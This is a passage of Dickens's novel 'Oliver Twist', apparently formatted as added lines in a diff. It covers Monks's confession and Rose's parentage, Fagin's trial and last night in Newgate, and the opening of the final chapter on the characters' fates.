gentlemen, must be in +substance repeated here. I would have spared you the +degradation, but we must hear them from your own lips before we +part, and you know why.' + +'Go on,' said the person addressed, turning away his face. +'Quick. I have almost done enough, I think. Don't keep me +here.' + +'This child,' said Mr. Brownlow, drawing Oliver to him, and +laying his hand upon his head, 'is your half-brother; the +illegitimate son of your father, my dear friend Edwin Leeford, by +poor young Agnes Fleming, who died in giving him birth.' + +'Yes,' said Monks, scowling at the trembling boy: the beating of +whose heart he might have heard. 'That is the bastard child.' + +'The term you use,' said Mr. Brownlow, sternly, 'is a reproach to +those long since passed beyond the feeble censure of the world. +It reflects disgrace on no one living, except you who use it. +Let that pass. He was born in this town.' + +'In the workhouse of this town,' was the sullen reply. 'You have +the story there.' He pointed impatiently to the papers as he +spoke. + +'I must have it here, too,' said Mr. Brownlow, looking round upon +the listeners. + +'Listen then! You!' returned Monks. 'His father being taken ill +at Rome, was joined by his wife, my mother, from whom he had been +long separated, who went from Paris and took me with her--to look +after his property, for what I know, for she had no great +affection for him, nor he for her. He knew nothing of us, for +his senses were gone, and he slumbered on till next day, when he +died. Among the papers in his desk, were two, dated on the night +his illness first came on, directed to yourself'; he addressed +himself to Mr. Brownlow; 'and enclosed in a few short lines to +you, with an intimation on the cover of the package that it was +not to be forwarded till after he was dead. One of these papers +was a letter to this girl Agnes; the other a will.' + +'What of the letter?' asked Mr. Brownlow. + +'The letter?--A sheet of paper crossed and crossed again, with a +penitent confession, and prayers to God to help her. He had +palmed a tale on the girl that some secret mystery--to be +explained one day--prevented his marrying her just then; and so +she had gone on, trusting patiently to him, until she trusted too +far, and lost what none could ever give her back. She was, at +that time, within a few months of her confinement. He told her +all he had meant to do, to hide her shame, if he had lived, and +prayed her, if he died, not to curse his memory, or think the +consequences of their sin would be visited on her or their young +child; for all the guilt was his. He reminded her of the day he +had given her the little locket and the ring with her christian +name engraved upon it, and a blank left for that which he hoped +one day to have bestowed upon her--prayed her yet to keep it, and +wear it next her heart, as she had done before--and then ran on, +wildly, in the same words, over and over again, as if he had gone +distracted. I believe he had.' + +'The will,' said Mr. Brownlow, as Oliver's tears fell fast. + +Monks was silent. + +'The will,' said Mr. Brownlow, speaking for him, 'was in the same +spirit as the letter. He talked of miseries which his wife had +brought upon him; of the rebellious disposition, vice, malice, +and premature bad passions of you his only son, who had been +trained to hate him; and left you, and your mother, each an +annuity of eight hundred pounds. The bulk of his property he +divided into two equal portions--one for Agnes Fleming, and the +other for their child, if it should be born alive, and ever come +of age. If it were a girl, it was to inherit the money +unconditionally; but if a boy, only on the stipulation that in +his minority he should never have stained his name with any +public act of dishonour, meanness, cowardice, or wrong. He did +this, he said, to mark his confidence in the other, and his +conviction--only strengthened by approaching death--that the +child would share her gentle heart, and noble nature. If he were +disappointed in this expectation, then the money was to come to +you: for then, and not till then, when both children were equal, +would he recognise your prior claim upon his purse, who had none +upon his heart, but had, from an infant, repulsed him with +coldness and aversion.' + +'My mother,' said Monks, in a louder tone, 'did what a woman +should have done. She burnt this will. The letter never reached +its destination; but that, and other proofs, she kept, in case +they ever tried to lie away the blot. The girl's father had the +truth from her with every aggravation that her violent hate--I +love her for it now--could add. Goaded by shame and dishonour he +fled with his children into a remote corner of Wales, changing +his very name that his friends might never know of his retreat; +and here, no great while afterwards, he was found dead in his +bed. The girl had left her home, in secret, some weeks before; +he had searched for her, on foot, in every town and village near; +it was on the night when he returned home, assured that she had +destroyed herself, to hide her shame and his, that his old heart +broke.' + +There was a short silence here, until Mr. Brownlow took up the +thread of the narrative. + +'Years after this,' he said, 'this man's--Edward +Leeford's--mother came to me. He had left her, when only +eighteen; robbed her of jewels and money; gambled, squandered, +forged, and fled to London: where for two years he had +associated with the lowest outcasts. She was sinking under a +painful and incurable disease, and wished to recover him before +she died. Inquiries were set on foot, and strict searches made. +They were unavailing for a long time, but ultimately successful; +and he went back with her to France.' + +'There she died,' said Monks, 'after a lingering illness; and, on +her death-bed, she bequeathed these secrets to me, together with +her unquenchable and deadly hatred of all whom they +involved--though she need not have left me that, for I had +inherited it long before. She would not believe that the girl +had destroyed herself, and the child too, but was filled with the +impression that a male child had been born, and was alive. I +swore to her, if ever it crossed my path, to hunt it down; never +to let it rest; to pursue it with the bitterest and most +unrelenting animosity; to vent upon it the hatred that I deeply +felt, and to spit upon the empty vaunt of that insulting will by +draggin it, if I could, to the very gallows-foot. She was right. +He came in my way at last. I began well; and, but for babbling +drabs, I would have finished as I began!' + +As the villain folded his arms tight together, and muttered +curses on himself in the impotence of baffled malice, Mr. +Brownlow turned to the terrified group beside him, and explained +that the Jew, who had been his old accomplice and confidant, had +a large reward for keeping Oliver ensnared: of which some part +was to be given up, in the event of his being rescued: and that +a dispute on this head had led to their visit to the country +house for the purpose of identifying him. + +'The locket and ring?' said Mr. Brownlow, turning to Monks. + +'I bought them from the man and woman I told you of, who stole +them from the nurse, who stole them from the corpse,' answered +Monks without raising his eyes. 'You know what became of them.' + +Mr. Brownlow merely nodded to Mr. Grimwig, who disappearing with +great alacrity, shortly returned, pushing in Mrs. Bumble, and +dragging her unwilling consort after him. + +'Do my hi's deceive me!' cried Mr. Bumble, with ill-feigned +enthusiasm, 'or is that little Oliver? Oh O-li-ver, if you +know'd how I've been a-grieving for you--' + +'Hold your tongue, fool,' murmured Mrs. Bumble. + +'Isn't natur, natur, Mrs. Bumble?' remonstrated the workhouse +master. 'Can't I be supposed to feel--_I_ as brought him up +porochially--when I see him a-setting here among ladies and +gentlemen of the very affablest description! I always loved that +boy as if he'd been my--my--my own grandfather,' said Mr. Bumble, +halting for an appropriate comparison. 'Master Oliver, my dear, +you remember the blessed gentleman in the white waistcoat? Ah! +he went to heaven last week, in a oak coffin with plated handles, +Oliver.' + +'Come, sir,' said Mr. Grimwig, tartly; 'suppress your feelings.' + +'I will do my endeavours, sir,' replied Mr. Bumble. 'How do you +do, sir? I hope you are very well.' + +This salutation was addressed to Mr. Brownlow, who had stepped up +to within a short distance of the respectable couple. He +inquired, as he pointed to Monks, + +'Do you know that person?' + +'No,' replied Mrs. Bumble flatly. + +'Perhaps _you_ don't?' said Mr. Brownlow, addressing her spouse. + +'I never saw him in all my life,' said Mr. Bumble. + +'Nor sold him anything, perhaps?' + +'No,' replied Mrs. Bumble. + +'You never had, perhaps, a certain gold locket and ring?' said +Mr. Brownlow. + +'Certainly not,' replied the matron. 'Why are we brought here to +answer to such nonsense as this?' + +Again Mr. Brownlow nodded to Mr. Grimwig; and again that +gentleman limped away with extraordinary readiness. But not +again did he return with a stout man and wife; for this time, he +led in two palsied women, who shook and tottered as they walked. + +'You shut the door the night old Sally died,' said the foremost +one, raising her shrivelled hand, 'but you couldn't shut out the +sound, nor stop the chinks.' + +'No, no,' said the other, looking round her and wagging her +toothless jaws. 'No, no, no.' + +'We heard her try to tell you what she'd done, and saw you take a +paper from her hand, and watched you too, next day, to the +pawnbroker's shop,' said the first. + +'Yes,' added the second, 'and it was a "locket and gold ring." +We found out that, and saw it given you. We were by. Oh! we +were by.' + +'And we know more than that,' resumed the first, 'for she told us +often, long ago, that the young mother had told her that, feeling +she should never get over it, she was on her way, at the time +that she was taken ill, to die near the grave of the father of +the child.' + +'Would you like to see the pawnbroker himself?' asked Mr. Grimwig +with a motion towards the door. + +'No,' replied the woman; 'if he--she pointed to Monks--'has been +coward enough to confess, as I see he has, and you have sounded +all these hags till you have found the right ones, I have nothing +more to say. I _did_ sell them, and they're where you'll never get +them. What then?' + +'Nothing,' replied Mr. Brownlow, 'except that it remains for us +to take care that neither of you is employed in a situation of +trust again. You may leave the room.' + +'I hope,' said Mr. Bumble, looking about him with great +ruefulness, as Mr. Grimwig disappeared with the two old women: +'I hope that this unfortunate little circumstance will not +deprive me of my porochial office?' + +'Indeed it will,' replied Mr. Brownlow. 'You may make up your +mind to that, and think yourself well off besides.' + +'It was all Mrs. Bumble. She _would_ do it,' urged Mr. Bumble; +first looking round to ascertain that his partner had left the +room. + +'That is no excuse,' replied Mr. Brownlow. 'You were present on +the occasion of the destruction of these trinkets, and indeed are +the more guilty of the two, in the eye of the law; for the law +supposes that your wife acts under your direction.' + +'If the law supposes that,' said Mr. Bumble, squeezing his hat +emphatically in both hands, 'the law is a ass--a idiot. If +that's the eye of the law, the law is a bachelor; and the worst I +wish the law is, that his eye may be opened by experience--by +experience.' + +Laying great stress on the repetition of these two words, Mr. +Bumble fixed his hat on very tight, and putting his hands in his +pockets, followed his helpmate downstairs. + +'Young lady,' said Mr. Brownlow, turning to Rose, 'give me your +hand. Do not tremble. You need not fear to hear the few +remaining words we have to say.' + +'If they have--I do not know how they can, but if they have--any +reference to me,' said Rose, 'pray let me hear them at some other +time. I have not strength or spirits now.' + +'Nay,' returned the old gentlman, drawing her arm through his; +'you have more fortitude than this, I am sure. Do you know this +young lady, sir?' + +'Yes,' replied Monks. + +'I never saw you before,' said Rose faintly. + +'I have seen you often,' returned Monks. + +'The father of the unhappy Agnes had _two_ daughters,' said Mr. +Brownlow. 'What was the fate of the other--the child?' + +'The child,' replied Monks, 'when her father died in a strange +place, in a strange name, without a letter, book, or scrap of +paper that yielded the faintest clue by which his friends or +relatives could be traced--the child was taken by some wretched +cottagers, who reared it as their own.' + +'Go on,' said Mr. Brownlow, signing to Mrs. Maylie to approach. +'Go on!' + +'You couldn't find the spot to which these people had repaired,' +said Monks, 'but where friendship fails, hatred will often force +a way. My mother found it, after a year of cunning search--ay, +and found the child.' + +'She took it, did she?' + +'No. The people were poor and began to sicken--at least the man +did--of their fine humanity; so she left it with them, giving +them a small present of money which would not last long, and +promised more, which she never meant to send. She didn't quite +rely, however, on their discontent and poverty for the child's +unhappiness, but told the history of the sister's shame, with +such alterations as suited her; bade them take good heed of the +child, for she came of bad blood; and told them she was +illegitimate, and sure to go wrong at one time or other. The +circumstances countenanced all this; the people believed it; and +there the child dragged on an existence, miserable enough even to +satisfy us, until a widow lady, residing, then, at Chester, saw +the girl by chance, pitied her, and took her home. There was +some cursed spell, I think, against us; for in spite of all our +efforts she remained there and was happy. I lost sight of her, +two or three years ago, and saw her no more until a few months +back.' + +'Do you see her now?' + +'Yes. Leaning on your arm.' + +'But not the less my niece,' cried Mrs. Maylie, folding the +fainting girl in her arms; 'not the less my dearest child. I +would not lose her now, for all the treasures of the world. My +sweet companion, my own dear girl!' + +'The only friend I ever had,' cried Rose, clinging to her. 'The +kindest, best of friends. My heart will burst. I cannot bear +all this.' + +'You have borne more, and have been, through all, the best and +gentlest creature that ever shed happiness on every one she +knew,' said Mrs. Maylie, embracing her tenderly. 'Come, come, my +love, remember who this is who waits to clasp you in his arms, +poor child! See here--look, look, my dear!' + +'Not aunt,' cried Oliver, throwing his arms about her neck; 'I'll +never call her aunt--sister, my own dear sister, that something +taught my heart to love so dearly from the first! Rose, dear, +darling Rose!' + +Let the tears which fell, and the broken words which were +exchanged in the long close embrace between the orphans, be +sacred. A father, sister, and mother, were gained, and lost, in +that one moment. Joy and grief were mingled in the cup; but +there were no bitter tears: for even grief itself arose so +softened, and clothed in such sweet and tender recollections, +that it became a solemn pleasure, and lost all character of pain. + +They were a long, long time alone. A soft tap at the door, at +length announced that some one was without. Oliver opened it, +glided away, and gave place to Harry Maylie. + +'I know it all,' he said, taking a seat beside the lovely girl. +'Dear Rose, I know it all.' + +'I am not here by accident,' he added after a lengthened silence; +'nor have I heard all this to-night, for I knew it +yesterday--only yesterday. Do you guess that I have come to +remind you of a promise?' + +'Stay,' said Rose. 'You _do_ know all.' + +'All. You gave me leave, at any time within a year, to renew the +subject of our last discourse.' + +'I did.' + +'Not to press you to alter your determination,' pursued the young +man, 'but to hear you repeat it, if you would. I was to lay +whatever of station or fortune I might possess at your feet, and +if you still adhered to your former determination, I pledged +myself, by no word or act, to seek to change it.' + +'The same reasons which influenced me then, will influence me +now,' said Rose firmly. 'If I ever owed a strict and rigid duty +to her, whose goodness saved me from a life of indigence and +suffering, when should I ever feel it, as I should to-night? It +is a struggle,' said Rose, 'but one I am proud to make; it is a +pang, but one my heart shall bear.' + +'The disclosure of to-night,'--Harry began. + +'The disclosure of to-night,' replied Rose softly, 'leaves me in +the same position, with reference to you, as that in which I +stood before.' + +'You harden your heart against me, Rose,' urged her lover. + +'Oh Harry, Harry,' said the young lady, bursting into tears; 'I +wish I could, and spare myself this pain.' + +'Then why inflict it on yourself?' said Harry, taking her hand. +'Think, dear Rose, think what you have heard to-night.' + +'And what have I heard! What have I heard!' cried Rose. 'That a +sense of his deep disgrace so worked upon my own father that he +shunned all--there, we have said enough, Harry, we have said +enough.' + +'Not yet, not yet,' said the young man, detaining her as she +rose. 'My hopes, my wishes, prospects, feeling: every thought +in life except my love for you: have undergone a change. I +offer you, now, no distinction among a bustling crowd; no +mingling with a world of malice and detraction, where the blood +is called into honest cheeks by aught but real disgrace and +shame; but a home--a heart and home--yes, dearest Rose, and +those, and those alone, are all I have to offer.' + +'What do you mean!' she faltered. + +'I mean but this--that when I left you last, I left you with a +firm determination to level all fancied barriers between yourself +and me; resolved that if my world could not be yours, I would +make yours mine; that no pride of birth should curl the lip at +you, for I would turn from it. This I have done. Those who have +shrunk from me because of this, have shrunk from you, and proved +you so far right. Such power and patronage: such relatives of +influence and rank: as smiled upon me then, look coldly now; but +there are smiling fields and waving trees in England's richest +county; and by one village church--mine, Rose, my own!--there +stands a rustic dwelling which you can make me prouder of, than +all the hopes I have renounced, measured a thousandfold. This is +my rank and station now, and here I lay it down!' + + * * * * * * * + +'It's a trying thing waiting supper for lovers,' said Mr. +Grimwig, waking up, and pulling his pocket-handkerchief from over +his head. + +Truth to tell, the supper had been waiting a most unreasonable +time. Neither Mrs. Maylie, nor Harry, nor Rose (who all came in +together), could offer a word in extenuation. + +'I had serious thoughts of eating my head to-night,' said Mr. +Grimwig, 'for I began to think I should get nothing else. I'll +take the liberty, if you'll allow me, of saluting the bride that +is to be.' + +Mr. Grimwig lost no time in carrying this notice into effect upon +the blushing girl; and the example, being contagious, was +followed both by the doctor and Mr. Brownlow: some people affirm +that Harry Maylie had been observed to set it, orginally, in a +dark room adjoining; but the best authorities consider this +downright scandal: he being young and a clergyman. + +'Oliver, my child,' said Mrs. Maylie, 'where have you been, and +why do you look so sad? There are tears stealing down your face +at this moment. What is the matter?' + +It is a world of disappointment: often to the hopes we most +cherish, and hopes that do our nature the greatest honour. + +Poor Dick was dead! + + + + +CHAPTER LII + +FAGIN'S LAST NIGHT ALIVE + +The court was paved, from floor to roof, with human faces. +Inquisitive and eager eyes peered from every inch of space. From +the rail before the dock, away into the sharpest angle of the +smallest corner in the galleries, all looks were fixed upon one +man--Fagin. Before him and behind: above, below, on the right +and on the left: he seemed to stand surrounded by a firmament, +all bright with gleaming eyes. + +He stood there, in all this glare of living light, with one hand +resting on the wooden slab before him, the other held to his ear, +and his head thrust forward to enable him to catch with greater +distinctness every word that fell from the presiding judge, who +was delivering his charge to the jury. At times, he turned his +eyes sharply upon them to observe the effect of the slightest +featherweight in his favour; and when the points against him were +stated with terrible distinctness, looked towards his counsel, in +mute appeal that he would, even then, urge something in his +behalf. Beyond these manifestations of anxiety, he stirred not +hand or foot. He had scarcely moved since the trial began; and +now that the judge ceased to speak, he still remained in the same +strained attitude of close attention, with his gaze bent on him, +as though he listened still. + +A slight bustle in the court, recalled him to himself. Looking +round, he saw that the juryman had turned together, to consider +their verdict. As his eyes wandered to the gallery, he could see +the people rising above each other to see his face: some hastily +applying their glasses to their eyes: and others whispering +their neighbours with looks expressive of abhorrence. A few +there were, who seemed unmindful of him, and looked only to the +jury, in impatient wonder how they could delay. But in no one +face--not even among the women, of whom there were many +there--could he read the faintest sympathy with himself, or any +feeling but one of all-absorbing interest that he should be +condemned. + +As he saw all this in one bewildered glance, the deathlike +stillness came again, and looking back he saw that the jurymen +had turned towards the judge. Hush! + +They only sought permission to retire. + +He looked, wistfully, into their faces, one by one when they +passed out, as though to see which way the greater number leant; +but that was fruitless. The jailer touched him on the shoulder. +He followed mechanically to the end of the dock, and sat down on +a chair. The man pointed it out, or he would not have seen it. + +He looked up into the gallery again. Some of the people were +eating, and some fanning themselves with handkerchiefs; for the +crowded place was very hot. There was one young man sketching +his face in a little note-book. He wondered whether it was like, +and looked on when the artist broke his pencil-point, and made +another with his knife, as any idle spectator might have done. + +In the same way, when he turned his eyes towards the judge, his +mind began to busy itself with the fashion of his dress, and what +it cost, and how he put it on. There was an old fat gentleman on +the bench, too, who had gone out, some half an hour before, and +now come back. He wondered within himself whether this man had +been to get his dinner, what he had had, and where he had had it; +and pursued this train of careless thought until some new object +caught his eye and roused another. + +Not that, all this time, his mind was, for an instant, free from +one oppressive overwhelming sense of the grave that opened at his +feet; it was ever present to him, but in a vague and general way, +and he could not fix his thoughts upon it. Thus, even while he +trembled, and turned burning hot at the idea of speedy death, he +fell to counting the iron spikes before him, and wondering how +the head of one had been broken off, and whether they would mend +it, or leave it as it was. Then, he thought of all the horrors +of the gallows and the scaffold--and stopped to watch a man +sprinkling the floor to cool it--and then went on to think again. + +At length there was a cry of silence, and a breathless look from +all towards the door. The jury returned, and passed him close. +He could glean nothing from their faces; they might as well have +been of stone. Perfect stillness ensued--not a rustle--not a +breath--Guilty. + +The building rang with a tremendous shout, and another, and +another, and then it echoed loud groans, that gathered strength +as they swelled out, like angry thunder. It was a peal of joy +from the populace outside, greeting the news that he would die on +Monday. + +The noise subsided, and he was asked if he had anything to say +why sentence of death should not be passed upon him. He had +resumed his listening attitude, and looked intently at his +questioner while the demand was made; but it was twice repeated +before he seemed to hear it, and then he only muttered that he +was an old man--an old man--and so, dropping into a whisper, was +silent again. + +The judge assumed the black cap, and the prisoner still stood +with the same air and gesture. A woman in the gallery, uttered +some exclamation, called forth by this dread solemnity; he looked +hastily up as if angry at the interruption, and bent forward yet +more attentively. The address was solemn and impressive; the +sentence fearful to hear. But he stood, like a marble figure, +without the motion of a nerve. His haggard face was still thrust +forward, his under-jaw hanging down, and his eyes staring out +before him, when the jailer put his hand upon his arm, and +beckoned him away. He gazed stupidly about him for an instant, +and obeyed. + +They led him through a paved room under the court, where some +prisoners were waiting till their turns came, and others were +talking to their friends, who crowded round a grate which looked +into the open yard. There was nobody there to speak to _him_; but, +as he passed, the prisoners fell back to render him more visible +to the people who were clinging to the bars: and they assailed +him with opprobrious names, and screeched and hissed. He shook +his fist, and would have spat upon them; but his conductors +hurried him on, through a gloomy passage lighted by a few dim +lamps, into the interior of the prison. + +Here, he was searched, that he might not have about him the means +of anticipating the law; this ceremony performed, they led him to +one of the condemned cells, and left him there--alone. + +He sat down on a stone bench opposite the door, which served for +seat and bedstead; and casting his blood-shot eyes upon the +ground, tried to collect his thoughts. After awhile, he began to +remember a few disjointed fragments of what the judge had said: +though it had seemed to him, at the time, that he could not hear +a word. These gradually fell into their proper places, and by +degrees suggested more: so that in a little time he had the +whole, almost as it was delivered. To be hanged by the neck, +till he was dead--that was the end. To be hanged by the neck +till he was dead. + +As it came on very dark, he began to think of all the men he had +known who had died upon the scaffold; some of them through his +means. They rose up, in such quick succession, that he could +hardly count them. He had seen some of them die,--and had joked +too, because they died with prayers upon their lips. With what a +rattling noise the drop went down; and how suddenly they changed, +from strong and vigorous men to dangling heaps of clothes! + +Some of them might have inhabited that very cell--sat upon that +very spot. It was very dark; why didn't they bring a light? The +cell had been built for many years. Scores of men must have +passed their last hours there. It was like sitting in a vault +strewn with dead bodies--the cap, the noose, the pinioned arms, +the faces that he knew, even beneath that hideous veil.--Light, +light! + +At length, when his hands were raw with beating against the heavy +door and walls, two men appeared: one bearing a candle, which he +thrust into an iron candlestick fixed against the wall: the +other dragging in a mattress on which to pass the night; for the +prisoner was to be left alone no more. + +Then came the night--dark, dismal, silent night. Other watchers +are glad to hear this church-clock strike, for they tell of life +and coming day. To him they brought despair. The boom of every +iron bell came laden with the one, deep, hollow sound--Death. +What availed the noise and bustle of cheerful morning, which +penetrated even there, to him? It was another form of knell, +with mockery added to the warning. + +The day passed off. Day? There was no day; it was gone as soon +as come--and night came on again; night so long, and yet so +short; long in its dreadful silence, and short in its fleeting +hours. At one time he raved and blasphemed; and at another +howled and tore his hair. Venerable men of his own persuasion +had come to pray beside him, but he had driven them away with +curses. They renewed their charitable efforts, and he beat them +off. + +Saturday night. He had only one night more to live. And as he +thought of this, the day broke--Sunday. + +It was not until the night of this last awful day, that a +withering sense of his helpless, desperate state came in its full +intensity upon his blighted soul; not that he had ever held any +defined or positive hope of mercy, but that he had never been +able to consider more than the dim probability of dying so soon. +He had spoken little to either of the two men, who relieved each +other in their attendance upon him; and they, for their parts, +made no effort to rouse his attention. He had sat there, awake, +but dreaming. Now, he started up, every minute, and with gasping +mouth and burning skin, hurried to and fro, in such a paroxysm of +fear and wrath that even they--used to such sights--recoiled from +him with horror. He grew so terrible, at last, in all the +tortures of his evil conscience, that one man could not bear to +sit there, eyeing him alone; and so the two kept watch together. + +He cowered down upon his stone bed, and thought of the past. He +had been wounded with some missiles from the crowd on the day of +his capture, and his head was bandaged with a linen cloth. His +red hair hung down upon his bloodless face; his beard was torn, +and twisted into knots; his eyes shone with a terrible light; his +unwashed flesh crackled with the fever that burnt him up. +Eight--nine--then. If it was not a trick to frighten him, and +those were the real hours treading on each other's heels, where +would he be, when they came round again! Eleven! Another +struck, before the voice of the previous hour had ceased to +vibrate. At eight, he would be the only mourner in his own +funeral train; at eleven-- + +Those dreadful walls of Newgate, which have hidden so much misery +and such unspeakable anguish, not only from the eyes, but, too +often, and too long, from the thoughts, of men, never held so +dread a spectacle as that. The few who lingered as they passed, +and wondered what the man was doing who was to be hanged +to-morrow, would have slept but ill that night, if they could +have seen him. + +From early in the evening until nearly midnight, little groups of +two and three presented themselves at the lodge-gate, and +inquired, with anxious faces, whether any reprieve had been +received. These being answered in the negative, communicated the +welcome intelligence to clusters in the street, who pointed out +to one another the door from which he must come out, and showed +where the scaffold would be built, and, walking with unwilling +steps away, turned back to conjure up the scene. By degrees they +fell off, one by one; and, for an hour, in the dead of night, the +street was left to solitude and darkness. + +The space before the prison was cleared, and a few strong +barriers, painted black, had been already thrown across the road +to break the pressure of the expected crowd, when Mr. Brownlow +and Oliver appeared at the wicket, and presented an order of +admission to the prisoner, signed by one of the sheriffs. They +were immediately admitted into the lodge. + +'Is the young gentleman to come too, sir?' said the man whose +duty it was to conduct them. 'It's not a sight for children, +sir.' + +'It is not indeed, my friend,' rejoined Mr. Brownlow; 'but my +business with this man is intimately connected with him; and as +this child has seen him in the full career of his success and +villainy, I think it as well--even at the cost of some pain and +fear--that he should see him now.' + +These few words had been said apart, so as to be inaudible to +Oliver. The man touched his hat; and glancing at Oliver with +some curiousity, opened another gate, opposite to that by which +they had entered, and led them on, through dark and winding ways, +towards the cells. + +'This,' said the man, stopping in a gloomy passage where a couple +of workmen were making some preparations in profound +silence--'this is the place he passes through. If you step this +way, you can see the door he goes out at.' + +He led them into a stone kitchen, fitted with coppers for +dressing the prison food, and pointed to a door. There was an +open grating above it, through which came the sound of men's +voices, mingled with the noise of hammering, and the throwing +down of boards. There were putting up the scaffold. + +From this place, they passed through several strong gates, opened +by other turnkeys from the inner side; and, having entered an +open yard, ascended a flight of narrow steps, and came into a +passage with a row of strong doors on the left hand. Motioning +them to remain where they were, the turnkey knocked at one of +these with his bunch of keys. The two attendants, after a little +whispering, came out into the passage, stretching themselves as +if glad of the temporary relief, and motioned the visitors to +follow the jailer into the cell. They did so. + +The condemned criminal was seated on his bed, rocking himself +from side to side, with a countenance more like that of a snared +beast than the face of a man. His mind was evidently wandering +to his old life, for he continued to mutter, without appearing +conscious of their presence otherwise than as a part of his +vision. + +'Good boy, Charley--well done--' he mumbled. 'Oliver, too, ha! +ha! ha! Oliver too--quite the gentleman now--quite the--take +that boy away to bed!' + +The jailer took the disengaged hand of Oliver; and, whispering +him not to be alarmed, looked on without speaking. + +'Take him away to bed!' cried Fagin. 'Do you hear me, some of +you? He has been the--the--somehow the cause of all this. It's +worth the money to bring him up to it--Bolter's throat, Bill; +never mind the girl--Bolter's throat as deep as you can cut. Saw +his head off!' + +'Fagin,' said the jailer. + +'That's me!' cried the Jew, falling instantly, into the attitude +of listening he had assumed upon his trial. 'An old man, my +Lord; a very old, old man!' + +'Here,' said the turnkey, laying his hand upon his breast to keep +him down. 'Here's somebody wants to see you, to ask you some +questions, I suppose. Fagin, Fagin! Are you a man?' + +'I shan't be one long,' he replied, looking up with a face +retaining no human expression but rage and terror. 'Strike them +all dead! What right have they to butcher me?' + +As he spoke he caught sight of Oliver and Mr. Brownlow. Shrinking +to the furthest corner of the seat, he demanded to know what they +wanted there. + +'Steady,' said the turnkey, still holding him down. 'Now, sir, +tell him what you want. Quick, if you please, for he grows worse +as the time gets on.' + +'You have some papers,' said Mr. Brownlow advancing, 'which were +placed in your hands, for better security, by a man called +Monks.' + +'It's all a lie together,' replied Fagin. 'I haven't one--not +one.' + +'For the love of God,' said Mr. Brownlow solemnly, 'do not say +that now, upon the very verge of death; but tell me where they +are. You know that Sikes is dead; that Monks has confessed; that +there is no hope of any further gain. Where are those papers?' + +'Oliver,' cried Fagin, beckoning to him. 'Here, here! Let me +whisper to you.' + +'I am not afraid,' said Oliver in a low voice, as he relinquished +Mr. Brownlow's hand. + +'The papers,' said Fagin, drawing Oliver towards him, 'are in a +canvas bag, in a hole a little way up the chimney in the top +front-room. I want to talk to you, my dear. I want to talk to +you.' + +'Yes, yes,' returned Oliver. 'Let me say a prayer. Do! Let me +say one prayer. Say only one, upon your knees, with me, and we +will talk till morning.' + +'Outside, outside,' replied Fagin, pushing the boy before him +towards the door, and looking vacantly over his head. 'Say I've +gone to sleep--they'll believe you. You can get me out, if you +take me so. Now then, now then!' + +'Oh! God forgive this wretched man!' cried the boy with a burst +of tears. + +'That's right, that's right,' said Fagin. 'That'll help us on. +This door first. If I shake and tremble, as we pass the gallows, +don't you mind, but hurry on. Now, now, now!' + +'Have you nothing else to ask him, sir?' inquired the turnkey. + +'No other question,' replied Mr. Brownlow. 'If I hoped we could +recall him to a sense of his position--' + +'Nothing will do that, sir,' replied the man, shaking his head. +'You had better leave him.' + +The door of the cell opened, and the attendants returned. + +'Press on, press on,' cried Fagin. 'Softly, but not so slow. +Faster, faster!' + +The men laid hands upon him, and disengaging Oliver from his +grasp, held him back. He struggled with the power of +desperation, for an instant; and then sent up cry upon cry that +penetrated even those massive walls, and rang in their ears until +they reached the open yard. + +It was some time before they left the prison. Oliver nearly +swooned after this frightful scene, and was so weak that for an +hour or more, he had not the strength to walk. + +Day was dawning when they again emerged. A great multitude had +already assembled; the windows were filled with people, smoking +and playing cards to beguile the time; the crowd were pushing, +quarrelling, joking. Everything told of life and animation, but +one dark cluster of objects in the centre of all--the black stage, +the cross-beam, the rope, and all the hideous apparatus of death. + + + + +CHAPTER LIII + +AND LAST + +The fortunes of those who have figured in this tale are nearly +closed. The little that remains to their historian to relate, is +told in few and simple words. + +Before three months had passed, Rose Fleming and Harry Maylie +were married in the village church which was henceforth to be the +scene of the young clergyman's labours; on the same day they +entered into possession of their new and happy home. + +Mrs. Maylie took up her abode with her son and daughter-in-law, +to enjoy, during the tranquil remainder of her days, the greatest +felicity that age and worth can know--the contemplation of the +happiness of those on whom the warmest affections and tenderest +cares of a well-spent life, have been unceasingly bestowed. + +It appeared, on full and careful investigation, that if the wreck +of property remaining in the custody of Monks (which had never +prospered either in his hands or in those of his mother) were +equally divided between himself and Oliver, it would yield, to +each, little more than three thousand pounds. By the provisions +of his father's will, Oliver would have been entitled to the +whole; but Mr. Brownlow, unwilling to deprive the elder son of +the opportunity of retrieving his former vices and pursuing an +honest career, proposed this mode of distribution, to which his +young charge joyfully acceded. + +Monks, still bearing that assumed name, retired with his portion +to a distant part of the New World; where, having quickly +squandered it, he once more fell into his old courses, and, after +undergoing a long confinement for some fresh act of fraud and +knavery, at length sunk under an attack of his old disorder, and +died in prison. As far from home, died the chief remaining +members of his friend Fagin's gang. + +Mr. Brownlow adopted Oliver as his son. Removing with him and +the old housekeeper to within a mile of the parsonage-house, +where his dear friends resided, he gratified the only remaining +wish of Oliver's warm and earnest heart, and thus linked together +a little society, whose condition approached as nearly to one of +perfect happiness as can ever be known in this changing world. + +Soon after the marriage of the young people, the worthy doctor +returned to Chertsey, where, bereft of the presence of his old +friends, he would have been discontented if his temperament had +admitted of such a feeling; and would have turned quite peevish +if he had known how. For two or three months, he contented +himself with hinting that he feared the air began to disagree +with him; then, finding that the place really no longer was, to +him, what it had been, he settled his business on his assistant, +took a bachelor's cottage outside the village of which his young +friend was pastor, and instantaneously recovered. Here he took +to gardening, planting, fishing, carpentering, and various other +pursuits of a similar kind: all undertaken with his +characteristic impetuosity. In each and all he has since become +famous throughout the neighborhood, as a most profound authority. + +Before his removal, he had managed to contract a strong +friendship for Mr. Grimwig, which that eccentric gentleman +cordially reciprocated. He is accordingly visited by Mr. Grimwig +a great many times in the course of the year. On all such +occasions, Mr. Grimwig plants, fishes, and carpenters, with great +ardour; doing everything in a very singular and unprecedented +manner, but always maintaining with his favourite asseveration, +that his mode is the right one. On Sundays, he never fails to +criticise the sermon to the young clergyman's face: always +informing Mr. Losberne, in strict confidence afterwards, that he +considers it an excellent performance, but deems it as well not +to say so. It is a standing and very favourite joke, for Mr. +Brownlow to rally him on his old prophecy concerning Oliver, and +to remind him of the night on which they sat with the watch +between them, waiting his return; but Mr. Grimwig contends that +he was right in the main, and, in proof thereof, remarks that +Oliver did not come back after all; which always calls forth a +laugh on his side, and increases his good humour. + +Mr. Noah Claypole: receiving a free pardon from the Crown in +consequence of being admitted approver against Fagin: and +considering his profession not altogether as safe a one as he +could wish: was, for some little time, at a loss for the means +of a livelihood, not burdened with too much work. After some +consideration, he went into business as an Informer, in which +calling he realises a genteel subsistence. His plan is, to walk +out once a week during church time attended by Charlotte in +respectable 